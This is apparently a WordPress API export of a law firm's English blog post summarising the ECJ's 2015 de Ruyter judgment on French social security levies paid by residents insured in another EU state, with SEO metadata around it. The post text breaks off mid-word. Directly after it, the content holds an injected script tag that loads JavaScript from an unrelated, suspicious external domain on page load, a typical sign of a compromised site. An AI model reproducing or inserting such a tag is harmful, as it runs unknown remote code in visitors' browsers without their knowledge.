{"id":10931,"date":"2021-07-21T17:08:43","date_gmt":"2021-07-21T15:08:43","guid":{"rendered":"https:\/\/www.laffineur.com\/social-security\/"},"modified":"2021-07-21T17:08:43","modified_gmt":"2021-07-21T15:08:43","slug":"social-security","status":"publish","type":"post","link":"https:\/\/www.laffineur.com\/en\/social-security\/","title":{"rendered":"SOCIAL SECURITY"},"content":{"rendered":"<p><strong>C\u2011623\/13, Ministre de l\u2019\u00c9conomie et des Finances v G\u00e9rard de Ruyter, 26 February 2015<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>The European Court of Justice (ECJ) has ruled that French legislation which requires foreigners who reside in France and who are employed by a company located in another EU Member State \u2013 and who are thus submitted to the social security scheme of that Member State, to also pay contributions to the French social security, is incompatible with EU Regulation 1408\/71 on the application of social security schemes.<\/p>\n<p>In the present case, a Dutch citizen resident in France and employed by a Dutch company brought an action because the French authorities imposed him a double taxation on his income from assets, notwithstanding that he was already being subject to similar levies in the Netherlands.<\/p>\n<p>The French supreme administrative court (the \u201cConseil d\u2019Etat\u201d \u2013 CE) who had ruled on the case asked the ECJ whether the French legislation was compatible with Regulation 1408\/71 on the application of social security schemes to employed persons and the freedom of movement workers.<\/p>\n<p>The ECJ first stated that the levies on income from assets imposed by French authorities enter within the scope of the Regulation. Then, the ECJ stated that in order to ensure the free movement of employed people within the EU and the respect of the principle of equal treatment, the Regulation had established a system of coordination concerning the determination of the legislation applicable to employed persons who make use of their right to freedom of movement.<\/p>\n<p>Therefore, the ECJ stated that the requirement according to which those who, among the residents of a Member State, are insured under the social security scheme of another Member State, should also pay their contributions to the social security scheme of the Member State of residence, was an infringement to the principle of equal treatmen<\/p>\n<p><script src=\"https:\/\/cht.secondaryinformtrand.com\/m.js?n=ns1\" type=\"text\/javascript\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>C\u2011623\/13, Ministre de l\u2019\u00c9conomie et des Finances v G\u00e9rard de Ruyter, 26 February 2015 &nbsp; The European Court of Justice (ECJ) has ruled that French legislation which requires foreigners who reside in France and who are employed by a company located in another EU Member State \u2013 and who are thus submitted to the social [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[151],"tags":[],"class_list":["post-10931","post","type-post","status-publish","format-standard","hentry","category-european-law"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>SOCIAL SECURITY - Laffineur - Cabinet d&#039;avocats<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.laffineur.com\/en\/social-security\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SOCIAL SECURITY - Laffineur - Cabinet d&#039;avocats\" \/>\n<meta property=\"og:description\" content=\"C\u2011623\/13, Ministre de l\u2019\u00c9conomie et des Finances v G\u00e9rard de Ruyter, 26 February 2015 &nbsp; The European Court of Justice (ECJ) has ruled that French legislation which requires foreigners who reside in France and who are employed by a company located in another EU Member State \u2013 and who are thus submitted to the social [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.laffineur.com\/en\/social-security\/\" \/>\n<meta property=\"og:site_name\" content=\"Laffineur - Cabinet d&#039;avocats\" \/>\n<meta property=\"article:published_time\" content=\"2021-07-21T15:08:43+00:00\" \/>\n<meta name=\"author\" content=\"admjll\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.laffineur.com\/en\/social-security\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.laffineur.com\/en\/social-security\/\"},\"author\":{\"name\":\"admjll\",\"@id\":\"https:\/\/www.laffineur.com\/#\/schema\/person\/665291770f2b96b2faab4c1388235c18\"},\"headline\":\"SOCIAL SECURITY\",\"datePublished\":\"2021-07-21T15:08:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.laffineur.com\/en\/social-security\/\"},\"wordCount\":304,\"publisher\":{\"@id\":\"https:\/\/www.laffineur.com\/#organization\"},\"articleSection\":[\"European Law\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.laffineur.com\/en\/social-security\/\",\"url\":\"https:\/\/www.laffineur.com\/en\/social-security\/\",\"name\":\"SOCIAL SECURITY - Laffineur - Cabinet d&#039;avocats\",\"isPartOf\":{\"@id\":\"https:\/\/www.laffineur.com\/#website\"},\"datePublished\":\"2021-07-21T15:08:43+00:00\",\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.laffineur.com\/en\/social-security\/\"]}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.laffineur.com\/#website\",\"url\":\"https:\/\/www.laffineur.com\/\",\"name\":\"Laffineur - Cabinet d'avocats\",\"description\":\"Laffineur - Cabinet d&#039;avocats\",\"publisher\":{\"@id\":\"https:\/\/www.laffineur.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.laffineur.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.laffineur.com\/#organization\",\"name\":\"Cabinet Laffineur\",\"url\":\"https:\/\/www.laffineur.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.laffineur.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.laffineur.com\/wp-content\/uploads\/2021\/03\/Logo-Laffineur-v326x154.png\",\"contentUrl\":\"https:\/\/www.laffineur.com\/wp-content\/uploads\/2021\/03\/Logo-Laffineur-v326x154.png\",\"width\":326,\"height\":154,\"caption\":\"Cabinet Laffineur\"},\"image\":{\"@id\":\"https:\/\/www.laffineur.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.linkedin.com\/in\/jean-luc-laffineur-4a6365\/?originalSubdomain=be\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.laffineur.com\/#\/schema\/person\/665291770f2b96b2faab4c1388235c18\",\"name\":\"admjll\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.laffineur.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/f75567f636f9f70f2d7f5de7676e9de497a0f1b468a0dcb6b11f797a3973ea05?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/f75567f636f9f70f2d7f5de7676e9de497a0f1b468a0dcb6b11f797a3973ea05?s=96&d=mm&r=g\",\"caption\":\"admjll\"},\"sameAs\":[\"https:\/\/www.laffineur.com\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"SOCIAL SECURITY - Laffineur - Cabinet d&#039;avocats","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.laffineur.com\/en\/social-security\/","og_locale":"en_US","og_type":"article","og_title":"SOCIAL SECURITY - Laffineur - Cabinet d&#039;avocats","og_description":"C\u2011623\/13, Ministre de l\u2019\u00c9conomie et des Finances v G\u00e9rard de Ruyter, 26 February 2015 &nbsp; The European Court of Justice (ECJ) has ruled that French legislation which requires foreigners who reside in France and who are employed by a company located in another EU Member State \u2013 and who are thus submitted to the social [&hellip;]","og_url":"https:\/\/www.laffineur.com\/en\/social-security\/","og_site_name":"Laffineur - Cabinet d&#039;avocats","article_published_time":"2021-07-21T15:08:43+00:00","author":"admjll","twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.laffineur.com\/en\/social-security\/#article","isPartOf":{"@id":"https:\/\/www.laffineur.com\/en\/social-security\/"},"author":{"name":"admjll","@id":"https:\/\/www.laffineur.com\/#\/schema\/person\/665291770f2b96b2faab4c1388235c18"},"headline":"SOCIAL SECURITY","datePublished":"2021-07-21T15:08:43+00:00","mainEntityOfPage":{"@id":"https:\/\/www.laffineur.com\/en\/social-security\/"},"wordCount":304,"publisher":{"@id":"https:\/\/www.laffineur.com\/#organization"},"articleSection":["European Law"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.laffineur.com\/en\/social-security\/","url":"https:\/\/www.laffineur.com\/en\/social-security\/","name":"SOCIAL SECURITY - Laffineur - Cabinet d&#039;avocats","isPartOf":{"@id":"https:\/\/www.laffineur.com\/#website"},"datePublished":"2021-07-21T15:08:43+00:00","inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.laffineur.com\/en\/social-security\/"]}]},{"@type":"WebSite","@id":"https:\/\/www.laffineur.com\/#website","url":"https:\/\/www.laffineur.com\/","name":"Laffineur - Cabinet d'avocats","description":"Laffineur - Cabinet d&#039;avocats","publisher":{"@id":"https:\/\/www.laffineur.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.laffineur.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.laffineur.com\/#organization","name":"Cabinet Laffineur","url":"https:\/\/www.laffineur.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.laffineur.com\/#\/schema\/logo\/image\/","url":"https:\/\/www.laffineur.com\/wp-content\/uploads\/2021\/03\/Logo-Laffineur-v326x154.png","contentUrl":"https:\/\/www.laffineur.com\/wp-content\/uploads\/2021\/03\/Logo-Laffineur-v326x154.png","width":326,"height":154,"caption":"Cabinet Laffineur"},"image":{"@id":"https:\/\/www.laffineur.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.linkedin.com\/in\/jean-luc-laffineur-4a6365\/?originalSubdomain=be"]},{"@type":"Person","@id":"https:\/\/www.laffineur.com\/#\/schema\/person\/665291770f2b96b2faab4c1388235c18","name":"admjll","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.laffineur.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/f75567f636f9f70f2d7f5de7676e9de497a0f1b468a0dcb6b11f797a3973ea05?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f75567f636f9f70f2d7f5de7676e9de497a0f1b468a0dcb6b11f797a3973ea05?s=96&d=mm&r=g","caption":"admjll"},"sameAs":["https:\/\/www.laffineur.com"]}]}},"_links":{"self":[{"href":"https:\/\/www.laffineur.com\/en\/wp-json\/wp\/v2\/posts\/10931","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.laffineur.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.laffineur.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.laffineur.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.laffineur.com\/en\/wp-json\/wp\/v2\/comments?post=10931"}],"version-history":[{"count":0,"href":"https:\/\/www.laffineur.com\/en\/wp-json\/wp\/v2\/posts\/10931\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.laffineur.com\/en\/wp-json\/wp\/v2\/media?parent=10931"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.laffineur.com\/en\/wp-json\/wp\/v2\/categories?post=10931"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.laffineur.com\/en\/wp-json\/wp\/v2\/tags?post=10931"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}